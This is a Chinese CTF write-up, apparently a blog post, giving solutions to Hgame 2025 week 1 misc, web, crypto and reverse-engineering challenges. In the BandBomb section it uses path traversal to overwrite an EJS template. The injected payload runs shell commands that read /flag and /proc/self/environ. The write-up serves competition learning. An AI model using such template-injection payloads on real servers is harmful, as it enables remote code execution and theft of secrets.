# 使用示例
reverse_hex_file(r"E:\CTF\Hgame\misc\hakuya\1", 'fixed_png.png')

得到一张png图片，看了看没什么其他信息后应该是改宽高了，放随波逐流

我刚开始还以为解压密码是hakuya的QQ号，但是不对，那么应该就是里面的这个密码解压，得到flag hgame{h4kyu4_w4nt_gir1f3nd_+q_931290928}

Level 314 线性走廊中的双生实体

呃呃下载得到一个entity.pt文件，不知道是什么东西， 010editor看一下

发现一大堆pk，放到随波逐流里解压试试

提取出来一个model？还是不知道是什么东西，上网搜一下
在这篇文章找到了类似的东西 so——.pt文件就是PyTorch框架的模型保存格式，其中会保存PyTorch模型的结构和参数，以便后续加载并使用这些模型来推理和训练
那么按照题目意思来说的话，我们首先要加载模型

1
2


model_path = r'E:\CTF\Hgame\misc\level_314\entity.pt' # 请替换为实际路径
model = torch.jit.load(model_path)

然后我们要给模型输入一组张量，尝试激活得到输出消息，那么张量的值要怎么确定？, 考虑到题目中的确保稳定态，我们到调用的__torch__.py中看一看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


 def forward(self: __torch__.SecurityLayer,
 x: Tensor) -> Tensor:
 _0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)
 if _0:
 _1 = annotate(List[str], [])
 flag = self.flag
 for _2 in range(torch.len(flag)):
 b = flag[_2]
 _3 = torch.append(_1, torch.chr(torch.__xor__(b, 85)))
 decoded = torch.join("", _1)
 print("Hidden:", decoded)
 else:
 pass
 if bool(torch.gt(torch.mean(x), 0.5)):
 _4 = annotate(List[str], [])
 fake_flag = self.fake_flag
 for _5 in range(torch.len(fake_flag)):
 c = fake_flag[_5]
 _6 = torch.append(_4, torch.chr(torch.sub(c, 3)))
 decoded0 = torch.join("", _4)
 print("Decoy:", decoded0)
 else:
 pass
 return x

发现这么一个函数，那么我们就可以确定张量的值了，只要使张量的均值限制在0.31415，同时要注意 输入张量的现实稳定系数（atol）必须≤1e-4 系统才会给我们flag的值

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


import torch

# 加载TorchScript模型
model_path = r'E:\CTF\Hgame\misc\level_314\entity.pt' # 请替换为实际路径
model = torch.jit.load(model_path)
model.eval() # 设置为评估模式


input_tensor = torch.randn(1, 10)

# 计算当前均值
current_mean = torch.mean(input_tensor)
print(f"当前均值: {current_mean.item()}")


target_mean = 0.31415000000000004

# 计算需要添加到每个元素上的值
adjustment = target_mean - current_mean

# 调整输入张量，使其均值接近0.31415000000000004
adjusted_input_tensor = input_tensor + adjustment
print(f"调整后的均值: {torch.mean(adjusted_input_tensor).item()}")

atol = 1e-5
output = model(adjusted_input_tensor)

# 输出结果
print("模型输出:", output)

按道理来说应该一次就可以得到了，但是误差控制可能有点小问题，多试了几下出了

1
2
3
4


当前均值: 0.41629067063331604
调整后的均值: 0.31415003538131714
Hidden: flag{s0_th1s_1s_r3al_s3cr3t}
模型输出: tensor([[0.5456]])

flag{s0_th1s_1s_r3al_s3cr3t} 后继：其实题目中周率三分隐玉衡，十方镜界启玄晶诗句的意思就在提醒我们0.314这个参数就是$\Pi$/10

computer cleaner

题目要求有三个:

找到攻击者的webshell连接密码

对攻击者进行简单溯源

排查攻击者目的

先进入虚拟机, 简单翻找一下

flag part3

flag part2 攻击目的就是利用webshell获取flag3

溯源找到ip ip:121.41.34.25

然后我在这卡了半天，我一直以为本地会有记录或者中间部分就是flag，结果。。

直接访问就有中间的flag了

hgame{y0u_hav3_cleaned_th3_c0mput3r!}

web

Level 24 Pacman

送分题

只有前端，肯定不是玩游戏玩到10000分失败一次试试

base64解码+2栏栅栏密码，得到hgame{practice_makes_perfet}，答案不是这个，提交会显示

再观察一下

有两串base64字符串，上面这串就是

hgame{u_4re_pacman_m4ster}

Level 47 BandBomb

解析

下载得到附件app.js，后端代码中翻找

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


app.post('/upload', (req, res) => {
 upload.single('file')(req, res, (err) => {
 if (err) {
 return res.status(400).json({ error: err.message });
 }
 if (!req.file) {
 return res.status(400).json({ error: '没有选择文件' });
 }
 res.json({
 message: '文件上传成功',
 filename: req.file.filename
 });
 });
});

app.post('/rename', (req, res) => {
 const { oldName, newName } = req.body;
 const oldPath = path.join(__dirname, 'uploads', oldName);
 const newPath = path.join(__dirname, 'uploads', newName);

 if (!oldName || !newName) {
 return res.status(400).json({ error: ' ' });
 }

 fs.rename(oldPath, newPath, (err) => {
 if (err) {
 return res.status(500).json({ error: ' ' + err.message });
 }
 res.json({ message: ' ' });
 });
});

一个文件上传一个文件重命名函数，没怎么做过web不是很懂，不过可以通过nodejs布置本地，加上const port=3000, 本地node app.js运行后可以在本地先测试一下

打开靶机看看

~~难绷ave mujica~~
这里可以选择本地文件和上传文件, 问了一下ai这题使用的是express框架 (之前杭助学后端的时候学了一点nodejs)
再回去看一下，/rename并没有对newName进行过滤，所以是不是可以包含路径？并且multer中fileFilter并不会过滤文件类型，上传 可执行脚本的话就会直接解析！！那么就有尝试的思路了
~~但是我不会写web脚本~~将上面的思路喂给deepseek后概括一下

在文件上传的时候，是否可以上传一个带有恶意代码的js文件，并让服务器执行？例如，如果上传的文件被当作Node.js模块加载，但需要特定的条件。或者，通过模板注入，因为应用使用ejs模板引擎。如果攻击者可以控制模板的内容，那么可能进行RCE。
由于文件会渲染mortis模板，所以我们覆盖为mortis.ejs并插入恶意代码执行
渲染后访问首页，触发模板渲染并执行恶意代码 OK思路完全畅通，开始动手

解题

在本地创建一个mortis.ejs文件，由于不知道flag会在哪，于是

1

<%= global.process.mainModule.require('child_process').execSync('cat /flag') %>

先这样尝试一下，然后上传文件之后在apifox中发送请求

目录似乎不对，调整一下

ok成功，但是没有flag，所以应该是藏在了其他地方，或许是环境变量？（pwn题也有类似的题目过）修改一下

1

<%= global.process.mainModule.require('child_process').execSync('cat /proc/self/environ') %>

找到flag

hgame{ave_mUjIC4_h4S-bROKEN-uP-but-we-hAv3-UMlTakI12}

crypto

sieve

解析

两种不同口径的筛子才能筛干净题目主要部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


def trick(k):
 if k > 1:
 mul = prod(range(1,k))
 if k - mul % k - 1 == 0:
 return euler_phi(k) + trick(k-1) + 1
 else:
 return euler_phi(k) + trick(k-1)
 else:
 return 1

e = 65537
p = q = nextprime(trick(e^2//6)<<128)
n = p * q
enc = pow(m,e,n)
print(f'{enc=}')

打开sage文件可以看到使用了euler_phi(k)和trick(k), 一个是欧拉函数，一个是递归函数， e^2//6=715,849,728 n=7e8
考虑两种筛法可能就是要对大数的筛选进行优化这里要考虑如何优化

使用可以同时计算欧拉函数和素数个数的筛法，搜索得到例如线性筛法就可以在o(n)内计算出结果n=7e8时应该不会再很长时间后才能跑出来
分段筛法
寻找能将sum_phi和prime_count结合的高效计算方式

两种不同口径的筛子： >1. 线性筛法：高效计算每个数的欧拉函数 phi(i)，同时标记素数。 >2. 埃拉托斯特尼筛法：用于标记素数，但是不计算欧拉函数。 k - (k-1)! % k - 1 判断素数 trick(k)实际上就是
\[ \text{trick}(k) = \sum_{i=1}^{k} \varphi(i) + \pi(k) \]

我一开始的解法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


from sympy import nextprime
from Crypto.Util.number import inverse, long_to_bytes

def compute_trick(k):
 if k == 0:
 return 0
 # 线性筛法计算欧拉函数和素数
 phi = list(range(k + 1))
 is_prime = [True] * (k + 1)
 primes = []
 sum_phi = 0
 prime_count = 0
 for i in range(2, k + 1):
 if is_prime[i]:
 primes.append(i)
 phi[i] = i - 1
 prime_count += 1
 for p in primes:
 if i * p > k:
 break
 is_prime[i * p] = False
 if i % p == 0:
 phi[i * p] = phi[i] * p
 break
 else:
 phi[i * p] = phi[i] * (p - 1)
 sum_phi = sum(phi[1:]) + 1 # phi[1]=1
 return sum_phi + prime_count

e = 65537
k = (e ** 2) // 6 # k = 715849728

trick_k = compute_trick(k)
shifted_val = trick_k << 128

p = nextprime(shifted_val)
n = p * p

# 私钥d
phi_n = p * (p - 1)
d = inverse(e, phi_n)

enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546

m = pow(enc, d, n)

print("FLAG =", long_to_bytes(m).decode())

遗憾的是在跑了半个小时之后宣告失败了，实际上跑出来是一堆乱码，compute_trick函数计算错误了，线性筛法存储整个数组效率野果低然后思考了一下，想起之前ACM课教的位压缩和优化，顺手问了一下deepseek，优化了一下脚本。思路：

解析题目中的“两种不同孔径的筛子”指的是线性筛法和埃拉托斯特尼筛法，或者欧拉筛法和另一种筛法，用于计算欧拉函数和素数个数。
根据trick函数的逻辑，正确计算trick(k)=sum_phi + prime_count，使用高效的筛法实现。
优化compute_trick函数，使其在Python中能够处理k=7e8，可能使用numpy或其他优化库。
生成正确的p和q，解密得到flag。考虑到时间要求，我们不可能跑所有的trick(k)，并计算p=nextprime(trick(k)«128)去解密。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


from sympy import nextprime, primepi
from Crypto.Util.number import inverse, long_to_bytes

def compute_trick(k):
 # 计算欧拉函数前缀和与素数个数
 sum_phi = 1 # phi(1)=1
 phi = [0] * (k + 1)
 phi[1] = 1
 primes = []
 min_prime = [0] * (k + 1)

 for i in range(2, k + 1):
 if min_prime[i] == 0:
 primes.append(i)
 min_prime[i] = i
 phi[i] = i - 1
 else:
 p = min_prime[i]
 j = i // p
 if min_prime[j] == p:
 phi[i] = phi[j] * p
 else:
 phi[i] = phi[j] * (p - 1)
 sum_phi += phi[i]
 for p in primes:
 if p > min_prime[i] or i * p > k:
 break
 min_prime[i * p] = p

 prime_count = primepi(k) # 使用 sympy 的高效素数计数
 return sum_phi + prime_count

# 参数设置
e = 65537
k = (e ** 2) // 6

# 计算 trick(k)
print("Calculating trick(k)...")
trick_k = compute_trick(k)
print(f"trick(k) = {trick_k}")

# 生成 p 和 q
shifted_val = trick_k << 128
p = nextprime(shifted_val)
n = p * p


phi_n = p * (p - 1)
d = inverse(e, phi_n)


enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546
m = pow(enc, d, n)

flag = long_to_bytes(m).decode()
if flag.startswith("hgame{"):
 print(f"FLAG = {flag}")
else:
 print("Decrypted message is not in flag format.")

hgame{sieve_is_n0t_that_HArd}

re

COMPRESS_DOT_NEW

下载解压得到两个文件,enc_txt一大堆数据文本看不懂还有一个compress.nu文件，也不知道是什么，搜索一下找到nushell这样一个终端

NUSHELL解决 compress.nu脚本定义了一系列函数，用于构建Huffman树、生成编码表、以及进行数据压缩。

into b：将输入转换为字节数组。
gss 和 gw：用于从树节点中提取字符和权重。
oi：插入节点到有序列表中。
h：构建Huffman树。
gc：生成字符到编码的映射表。
sk：简化树结构。
bf：计算字符频率。
enc：使用编码表对输入数据进行编码。下载完之后

1
2


source compress.nu
open enc.txt --raw | into json | each {|x| $x.a} | compress

就可以了（一开始nu命令用不了就做不出来）

脚本解决 enc.txt中的前半部分是一个JSON树结构，后半部分是二进制数据先把前半部分提取出来例如

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


{
 "a": {
 "a": {
 "a": {
 "s": 125
 },
 "b": {
 "s": 119
 }
 },
 "b": {
 "s": 123
 }
 },
 "b": {
 "s": 104
 }
}

两个根a和b 那么各个路径为：

字符125的路径是 a -> a -> a，编码为 000。
字符119的路径是 a -> a -> b，编码为 001。
字符123的路径是 a -> b，编码为 01。
字符104的路径是 b，编码为 1。

问了下AI如何将这个数和二进制数据对应起来答案是生成和遍历一个Huffman树(死去的算法记忆开始攻击我) 找了半天找到了一个可以改了改可的解析脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


import json
# 从enc.txt中解析出Huffman树
def parse_tree(node, code='', code_table={}):
 if 's' in node:
 code_table[node['s']] = code
 else:
 if 'a' in node:
 parse_tree(node['a'], code + '0', code_table)
 if 'b' in node:
 parse_tree(node['b'], code + '1', code_table)
 return code_table

# 解码二进制数据
def decode_binary(binary_str, code_table):
 reverse_code_table = {v: k for k, v in code_table.items()}
 decoded_text = ''
 current_code = ''
 for bit in binary_str:
 current_code += bit
 if current_code in reverse_code_table:
 decoded_text += chr(reverse_code_table[current_code])
 current_code = ''
 return decoded_text

def main():
 # 读取enc.txt文件
 with open(r"E:\CTF\Hgame\re\COMPRESS_DOT_NEW\enc.txt", 'r') as file:
 content = file.read().split('\n') #分割成两组数据
 json_tree = json.loads(content[0])
 binary_str = content[1]

 # 构建编码表
 code_table = parse_tree(json_tree)

 # 解码二进制数据
 decoded_text = decode_binary(binary_str, code_table)

 # 输出解码结果
 print(decoded_text)

if __name__ == "__main__":
 main()

hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}

turtle

解析

下载得到附件，

exeinfo看有upx魔改头

010editor看一下，魔改upx头了而且改了很多，所以学了一下用x64dbg手动脱壳

x64dbg打开,f9继续到程序开始处

这里可以看到许多寄存器进行入栈，那么在pop的时候会一并执行，而出栈顺序是反过来的，所以我们ctrl+f搜索pop rbp，找到真正进入点

f7单步进入，然后scylla手动脱壳后dump后

可以正常IDA打开了

分析以后上面要注意一点v7和v8数组其实是用于连续存储的数据，改为v7[7]字节数组应该为：0xCD, 0x8F, 0x25, 0x3D, 0xE1, 0x51, 0x4A，对应v7[0]-v7[7], 后面进行了RC4加密，密钥是yekyek

最后根据加密部分逆向写解密脚本即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


def decrypt_flag(ciphertext_flag, key):
 # KSA初始化S盒
 S = list(range(256))
 j = 0
 for i in range(256):
 j = (j + S[i] + key[i % len(key)]) % 256
 S[i], S[j] = S[j], S[i]

 # PRGA生成密钥流并解密（这里要反向使用加法）
 i = j = 0
 keystream = []
 for _ in range(len(ciphertext_flag)):
 i = (i + 1) % 256
 j = (j + S[i]) % 256
 S[i], S[j] = S[j], S[i]
 k = S[(S[i] + S[j]) % 256]
 keystream.append(k)

 # 加法解密Flag
 plaintext_flag = bytes([(c + k) % 256 for c, k in zip(ciphertext_flag, keystream)])
 return plaintext_flag


decrypted_key = b'ecg4ab6'
print(f"Decrypted Key: {decrypted_key}")

# 解密Flag
flag_cipher = bytes([
 0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23, 0x15, 0x4A,
 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF, 0xC4, 0x09, 0xFE, 0xE3,
 0x9F, 0x49, 0x87, 0xEA, 0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11,
 0xC1, 0xBC, 0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
])
print(f"Flag Cipher: {flag_cipher}")
decrypted_flag = decrypt_flag(flag_cipher, decrypted_key)
print(f"Decrypted Flag: {decrypted_flag}")
#Decrypted Flag: b"hgame{Y0u'r3_re4l1y_g3t_0Ut_of_th3_upX!}"

hgame{Y0u’r3_re4l1y_g3t_0Ut_of_th3_upX!}

pwn

见博客中Hgame2025其他文章

Hgame2025 on Nan0inPsyLog

Hgame2025_final wp

misc

Vidar知识大问答

Railway Picture

crypto

signin

exp

pwn

Backto2016

寻找stop_gadgets

寻找common_gadgets

exp

杂谈

stop_addr

Hgame2025_week2_题解

misc

computer_cleaner_plus

crypto

ancient_call

pwn

Signin2Heap

Hgame2025_week1 Counting_petals

counting petals

解析

exp

Hgame2025_week1 Ezstack

ezstack

关于本题环境

解析

exp

Hgame2025_week1 Format

format

解析

exp

Hgame2025_week1 剩余题解

hgame week1 wp

misc

Hakuya Want A Girl Friend

反转脚本

Level 314 线性走廊中的双生实体

exp

computer cleaner

web

Level 24 Pacman

Level 47 BandBomb

解析

解题

crypto

sieve

解析

exp

re

COMPRESS_DOT_NEW

turtle

解析

exp

pwn